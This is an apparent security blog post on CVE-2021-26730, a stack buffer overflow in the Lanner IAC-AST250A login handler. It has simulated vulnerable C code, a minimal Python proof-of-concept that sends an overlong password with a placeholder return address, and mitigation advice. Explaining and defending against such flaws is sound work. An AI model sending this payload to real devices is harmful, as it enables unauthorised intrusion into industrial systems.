In the world of cybersecurity, buffer overflow vulnerabilities continue to make headlines for exposing critical systems. One such high-impact vulnerability is CVE-2021-26730, affecting the Lanner IAC-AST250A industrial server’s default firmware (version 1.10.). This post dives into the details of the flaw, including how it works, sample exploit code, and ways to secure affected systems.

What Is CVE-2021-26730?

CVE-2021-26730 is a stack-based buffer overflow vulnerability discovered in a subfunction of the Login_handler_func in the spx_restservice process. This flaw allows a remote attacker to execute arbitrary code with the highest privileges (root) of the system.

Where’s the Problem?

At the heart of the vulnerability is a login handler routine (Login_handler_func). In a subfunction, user-supplied data isn’t properly checked before being copied into a local stack buffer. This classic mistake can let malicious input overwrite function return addresses or control data–leading to code execution.

Here's an abstracted pseudocode to illustrate the vulnerability

char buffer[128];
strcpy(buffer, user_input);   // no length check!

If an attacker sends a password longer than 128 characters, they can overwrite the stack, including the instruction pointer (EIP/RIP), leading the program to run attacker-supplied code.

Vulnerable Snippet (Simulated, for Reference)

void handle_login(const char *user_input) {
    char buffer[128];
    // Dangerous: does not check size of input
    strcpy(buffer, user_input);
    // ... authentication logic follows ...
}

Exploit Details

To exploit this vulnerability, an attacker sends an overlong string during a REST login attempt. This string overwrites the stack, giving the attacker control of the program flow. They can then jump to shellcode that gives them a root shell or otherwise execute code as the server’s operating user (in this case, root).

Exploit Example (Python)

*For educational purposes only. Do not use against any system you do not own or have permission to test.*

import requests

target = "http://TARGET-IP:PORT/login";
payload = "A" * 140         # 128 bytes buffer + overwrite return address
payload += "\xef\xbe\xad\xde"   # Overwritten address for demonstration

data = {
    'username': 'admin',
    'password': payload
}

response = requests.post(target, json=data)
print("Server response:", response.text)

This simple PoC overflows the buffer; a real exploit would need to calculate precise offsets and provide the actual shellcode or ROP chain.

References

- Official CVE entry at NVD
- Lanner Security Advisory (PDF)
- exploit-db entry
- Buffer Overflow 101 (OWASP)

Mitigation and Patching

Vendor Fix:
Lanner released firmware 1.10.1 and later to resolve this bug. All users should upgrade immediately.

Never use unsafe functions like strcpy; use strncpy or other length-checked variants.

- Implement stack canaries, ASLR, and DEP/NX protections at the OS level.

Regularly check vendor advisories for firmware updates.

Temporary Workaround:
If patching is not possible, restrict network access to the device’s REST API and monitor for unusual or large authentication attempts.

Conclusion

CVE-2021-26730 is a reminder that even critical infrastructure can suffer from old-school vulnerabilities like stack buffers. Simple coding mistakes in authentication subsystems can give attackers a root foothold. Immediate patching and ongoing code audits are essential to prevent similar issues in your environments.


*Stay safe. Report and patch vulnerabilities. For responsible disclosure and updates, check with Lanner’s security page.*

Timeline

Published on: 10/24/2022 14:15:00 UTC
Last modified on: 10/24/2022 17:27:00 UTC